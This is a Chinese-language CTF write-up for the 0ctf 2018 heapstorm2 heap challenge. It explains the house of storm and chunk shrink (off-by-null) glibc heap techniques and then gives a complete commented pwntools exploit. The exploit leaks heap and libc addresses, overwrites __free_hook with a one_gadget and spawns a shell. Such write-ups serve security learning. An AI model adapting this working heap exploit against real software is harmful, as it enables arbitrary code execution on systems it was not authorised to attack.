文章目录
- 前置知识
- 整体思路
- house of storm
- 如何进行一次house of storm
- house of storm原理
- house of storm具体流程
- chunk shrink
- exp
前置知识
unsortedbin attack
largebin attack
off by null
构造chunk shrink
整体思路
这道题即是house of storm
。除了house of storm
,本道题还需要通过chunk shrink
来获得重叠指针。因此本文将分别写house of storm
和chunk shrink
两个方面。看完了原理,可以结合我的exp
,有详细每一步的注释。
house of storm
如何进行一次house of storm
你可以做到:
- 任意地址的
chunk
分配
你需要完成:
- 控制一个
unsortedbin
和largebin
中的chunk
,且unsortedbin
中的要比largebin
中的大
house of storm原理
一句话描述一下house of storm
:通过largebin attack
在fake chunk
的header
上错位写下一个0x55
或0x56
的size
,并在fake chunk
的bk
处写一个堆地址。控制unsortedbin
的chunk
的bk
指向要申请的fake chunk
。申请一个大小为0x50
的chunk
,先触发largebin attack
,从而根据unsortedbin
的bk
申请到fake chunk
,完成任意地址写。
这实际上分为两个部分,首先,我们要知道,unsortedbin attack
并非只能在指定位置写一个libc
地址,还可以类似于fastbin attack
完成一个chunk
的分配,只是条件比较苛刻。一句话就是需要unsortedbin
的bk
指向的chunk
的bk
可写,其size
合法。
那么我们便可以利用largebin attack
来完成这些条件:
largebinattack
可以写两个值- 第一个值错位写要申请的地方的
size
,使得堆地址最开始的0x55
或者0x56
为size
- 第二个值写要申请的地方的
bk
,使得bk
为一个可写的值 - 然后申请大小为
0x50
的chunk
即可申请到unsortedbin
的bk
house of storm具体流程
- 假设要分配到
fake chunk
- 写
unsortedbin
的chunk
的bk
为fake chunk
的地址 - 写
largebin
中的chunk
的bk
为fake chunk + 0x18 - 0x10
- 写
largebin
中的chunk
的bk_nextsize
为fake chunk + 0x3 - 0x20
- 申请一个大小为
0x50
的chunk
chunk shrink
上面我们提到需要控制unsortedbin
和largebin
中的chunk
,这一部分需要获得重叠指针。
chunk shrink
算是另一种off by null
的利用,相比于三明治结构要比较复杂。适用于一些极端情况。
使用方法:小大小三个chunk
(不能是fastbin
大小),设为abc
。b
为0x510
(例如),在其最末尾写fake prev_size
为0x500
,释放b
置入unsortedbin
,通过a
进行off by null
将b
的size
变为0x500
。申请几个加起来为0x500
的chunk
,第一个不能为fastbin
大小,例如三个为0x88
,0x18
,0x448
,设为def
。先后释放d
和c
,将会导致最开始申请的b
和c
合并,由此再次申请回d
,再申请回e
可以获得重叠的e
指针。
exp
from pwn import *
from LibcSearcher import *
filename = './0ctf_2018_heapstorm2'
context(log_level='debug')
local = 1
all_logs = []
elf = ELF(filename)
libc = elf.libc
def debug():
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(sh)[0]
gdb.attach(pid)
pause()
choice_words = 'Command: '
menu_add = 1
add_index_words = ''
add_size_words = 'Size: '
add_content_words = ''
menu_del = 3
del_index_words = 'Index: '
menu_show = 4
show_index_words = 'Index: '
menu_edit = 2
edit_index_words = 'Index: '
edit_size_words = 'Size: '
edit_content_words = 'Content: '
def add(index=-1, size=-1, content=''):
sh.sendlineafter(choice_words, str(menu_add))
if add_index_words:
sh.sendlineafter(add_index_words, str(index))
if add_size_words:
sh.sendlineafter(add_size_words, str(size))
if add_content_words:
sh.sendafter(add_content_words, content)
def delete(index=-1):
sh.sendlineafter(choice_words, str(menu_del))
if del_index_words:
sh.sendlineafter(del_index_words, str(index))
def show(index=-1):
sh.sendlineafter(choice_words, str(menu_show))
if show_index_words:
sh.sendlineafter(show_index_words, str(index))
def edit(index=-1, size=-1, content=''):
sh.sendlineafter(choice_words, str(menu_edit))
if edit_index_words:
sh.sendlineafter(edit_index_words, str(index))
if edit_size_words:
sh.sendlineafter(edit_size_words, str(size))
if edit_content_words:
sh.sendafter(edit_content_words, content)
def leak_info(name, addr):
output_log = '{} => {}'.format(name, hex(addr))
all_logs.append(output_log)
success(output_log)
while True:
if local:
sh = process(filename)
else:
sh = remote('node4.buuoj.cn', )
# 第一步,利用off by null来构造chunk shrink进而分别获得重叠的一个largebin和一个unsortedbin chunk
add(size=0x18) # 0
add(size=0x508) # 1
add(size=0x18) # 2
add(size=0x20) # 3防止合并
# 待会我们会将size为0x510的chunk进行off by null缩小到0x500,因此先在末尾写一个fake prev_size为0x500
payload = b'a'*0x4f0 + p64(0x500)
edit(index=1, size=len(payload), content=payload)
# 将大小为0x510的chunk添加到unsortedbin中去
delete(index=1)
# 通过chunk 0进行off by null,来将unsortedbin中的大小为0x510的chunk改为0x500
payload = b'a'*(0x18 - 12)
edit(index=0, size=len(payload), content=payload)
# 申请两个chunk,加起来为0x500,且unsortedbin此时为空了
add(size=0x18) # 1
add(size=0x4d8) # 4
# 释放chunk1和chunk2,chunk2释放的时候由于prev_inuse=0,而prev_size为0x510,因此会将最开始的chunk0和chunk1整个部分合并
delete(index=1)
delete(index=2)
# 再申请回来从而获得重叠指针
add(size=0x18) # 1
add(size=0x4d8) # 2,和4重合,大小为0x4e0
add(size=0x20) # 5
# 下面这一部分和上面一模一样,没有任何区别
add(size=0x18) # 6
add(size=0x508) # 7
add(size=0x18) # 8
add(size=0x20) # 9防止合并
payload = b'a'*0x4f0 + p64(0x500)
edit(index=7, size=len(payload), content=payload)
delete(index=7)
payload = b'a'*(0x18 - 12)
edit(index=6, size=len(payload), content=payload)
add(size=0x38) # 7
add(size=0x4b8) # 10
delete(index=7)
delete(index=8)
add(size=0x38) # 7
add(size=0x4b8) # 8,和10重合,大小为0x4c0
add(size=0x20) # 11
# 先后将小的和大的置入unsortedbin,然后申请回大的。
# 由于unsortedbin是先遍历先进入的(FIFO),因此会将小的置入largebin
# 再释放大的,大的会添加到unsortedbin。现在大小为0x4e0的chunk在unsortedbin而大小为0x4c0的chunk在largebin
delete(index=8)
delete(index=2)
add(size=0x4d8) # 2
delete(index=2)
# 接下来开始house of storm。
# 我们设fake chunk在0x13370800前面0x20,以便于我们控制这一部分
array = 0x13370800
fake_chunk = array - 0x20
# unsortedbin的chunk中的bk改为要申请的chunk,这里即是我们的fake chunk
payload = p64(0) + p64(fake_chunk)
edit(index=4, size=len(payload), content=payload)
# laregbin attack可以同时写两个值为堆地址,bk的值+0x10处,以及bk_nextsize+0x20处
# 核心的点就是我们要写fake_chunk + 3的地方为一个堆地址
# 因为堆地址开头要么为0x55,要么为0x56,因此错位可以写出来一个fake chunk的size
payload = p64(0) + p64(fake_chunk + 0x18 - 0x10) # 这里是fd和bk
payload += p64(0) + p64(fake_chunk + 0x3 - 0x20) # 这里是fd_nextsize和bk_nextsize
edit(index=10, size=len(payload), content=payload)
# 由于我们这里是mmap出来的空间,因此申请的chunk的mmap位必须为1,因此只有当堆地址为0x56开头才对
# 因此爆破。概率为1/2
try:
add(size=0x48) # 2
payload = p64(0)*2 + p64(0)*3 + p64(0x13377331) + p64(0x13370800)
edit(index=2, size=len(payload), content=payload)
except EOFError:
sh.close()
continue
# 申请到了,开始编辑,首先将两个用于加密的值都写为0,然后数组的第三个写为0x13377331从而可以打印
# 然后根据数组的排列,下一个我们写0x133707e3,这里是一个堆地址
payload = p64(0)*3 + p64(0x13377331) + p64(0x13370800) + p64(8) + p64(0x133707e3) + p64(8)
edit(index=0, size=len(payload), content=payload)
# 根据排列,现在index=1的话也就是0x133707e3,便可以泄露出堆地址
show(index=1)
sh.recvuntil('Chunk[1]: ')
heap_leak = u64(sh.recv(6).ljust(8, b'\x00'))
leak_info('heap_base', heap_leak)
heap_base = heap_leak - 0x40
# 同理,我们再打印libc。heap_base + 0x50的地方有一个libc地址。
payload = p64(0)*3 + p64(0x13377331) + p64(0x13370800) + p64(8) + p64(heap_base + 0x50) + p64(8)
edit(index=0, size=len(payload), content=payload)
show(index=1)
sh.recvuntil('Chunk[1]: ')
libc_leak = u64(sh.recv(6).ljust(8, b'\x00'))
leak_info('libc_leak', libc_leak)
libc.address = libc_leak - libc.sym['__malloc_hook'] - 0x58 - 0x10
leak_info('libc.address', libc.address)
# 接下来只需要以同样方式来打free_hook即可!
payload = p64(0)*3 + p64(0x13377331) + p64(0x13370800) + p64(8) + p64(libc.sym['__free_hook']) + p64(8)
edit(index=0, size=len(payload), content=payload)
one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
payload = p64(libc.address + one_gadget[1])
edit(index=1, size=len(payload), content=payload)
delete(index=0)
sh.interactive()
# debug()
break
参考内容
[原创]Largebin attack总结-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com